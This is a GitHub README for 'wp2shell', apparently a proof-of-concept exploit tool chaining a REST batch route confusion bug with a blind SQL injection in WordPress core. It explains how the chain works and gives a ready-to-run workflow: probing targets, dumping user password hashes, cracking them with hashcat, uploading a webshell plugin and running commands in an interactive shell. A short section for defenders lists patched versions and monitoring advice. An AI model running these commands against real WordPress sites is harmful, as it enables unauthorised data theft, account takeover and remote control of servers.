Skip to content

ekomsSavior/wp2shell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 

Repository files navigation

wp2shell by: ek0ms savi0r

Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)

wp2shell exploit for a critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in WP_Query to achieve unauthenticated remote code execution on vulnerable WordPress installations.

Detail Info
CVEs CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (author__not_in SQLi)
Affected WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
Patched 6.9.5, 7.0.2
Auth Required None — unauthenticated
CVSS Critical (RCE chain)
Discovered By Adam Kues (Assetnote / Searchlight Cyber)
Dependencies Python 3.8+ — standard library only

How It Works

The exploit chains two bugs in WordPress core:

  1. CVE-2026-60137 — SQL Injection – When author__not_in is passed as a string instead of an array, WordPress skips the is_array() sanitisation guard and interpolates the raw value into a NOT IN (...) SQL clause.

  2. CVE-2026-63030 — Batch Route Confusion – The /wp-json/batch/v1 endpoint builds parallel $matches and $validation arrays. A malformed sub-request is appended to $validation but not $matches, causing a +1 index shift. Sub-request i gets dispatched with sub-request i+1's handler.

Chained together: A POST /wp/v2/posts request carrying an inner GET /wp/v2/users request with an author_exclude string bypasses both the method allow-list and input sanitisation. The string reaches WP_Query as author__not_in and gets interpolated into SQL — giving you unauthenticated blind SQL injection.

From there, the tool can:

  • Extract the administrator password hash
  • Authenticate as admin (once the hash is cracked)
  • Upload a malicious plugin
  • Execute arbitrary system commands

Features

Feature Description
Vulnerability Check Safe time-delay probe — reads no data, changes nothing
Data Extraction Blind SQL injection with binary-search optimisation for efficient extraction
User Hash Dump Extract user_login and user_pass hashes from wp_users
Remote Code Execution Authenticate as admin, upload a webshell plugin, execute commands
Interactive Shell Persistent command execution session
Colour Output Clear visual feedback for scan results
No Dependencies Uses only Python's standard library

Installation

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

That's it. No third-party packages required.


Usage

./wp2shell.py <url> [command] [options]

Interactive Mode (Menu-Driven)

./wp2shell.py http://target.com

Launches an interactive menu with all functionality available via numbered options.

Commands

check — Confirm Vulnerability (Safe)

Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing.

./wp2shell.py http://target.com check

read — Extract Data (Blind SQL Injection)

Extracts information from the database using time-based blind SQL injection.

# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read

# Extract user logins and password hashes
./wp2shell.py http://target.com read --users

# Extract database name
./wp2shell.py http://target.com read --database

# Extract MySQL version
./wp2shell.py http://target.com read --version

# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — Remote Code Execution

Requires valid administrator credentials. The SQL injection can recover the password hash, but you must supply the recovered plaintext password.

# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

Options

Option Description
--users Extract user_login and user_pass from wp_users
--database Extract the current database name
--version Extract the MySQL version
--query "SQL" Execute a custom SQL query (blind extraction)
--user USER Admin username for RCE
--password PASS Admin password for RCE (plaintext, recovered via SQLi)
--cmd CMD Command to execute via the webshell

Example Workflow

# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check

# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users

# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

Affected Versions

Branch Affected Fixed
6.9.x 6.9.0 – 6.9.4 6.9.5
7.0.x 7.0.0 – 7.0.1 7.0.2
6.8.x 6.8.0 – 6.8.5 (SQLi only, no RCE) 6.8.6

Versions before 6.9.0 are not affected by the full RCE chain.


Detection & Mitigation

For Defenders:

  • Update to 6.9.5, 7.0.2, or later immediately
  • Cloudflare WAF customers are automatically protected
  • Wordfence customers have firewall rules
  • Monitor for POST /wp-json/batch/v1 requests with nested requests bodies
  • A 404 on the batch route doesn't always mean "patched" — it can also mean a WAF/CDN is blocking anonymous REST API access

Legal Disclaimer

This tool is for educational and authorised security testing purposes only.


Credits

  • Discovery: Adam Kues (Assetnote / Searchlight Cyber)
  • CVE-2026-60137 (SQLi): TF1T, dtro, haongo
  • CVE-2026-63030 (Batch route confusion): Adam Kues

For more details on the vulnerability, see the Searchlight Cyber research blog.

About

CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages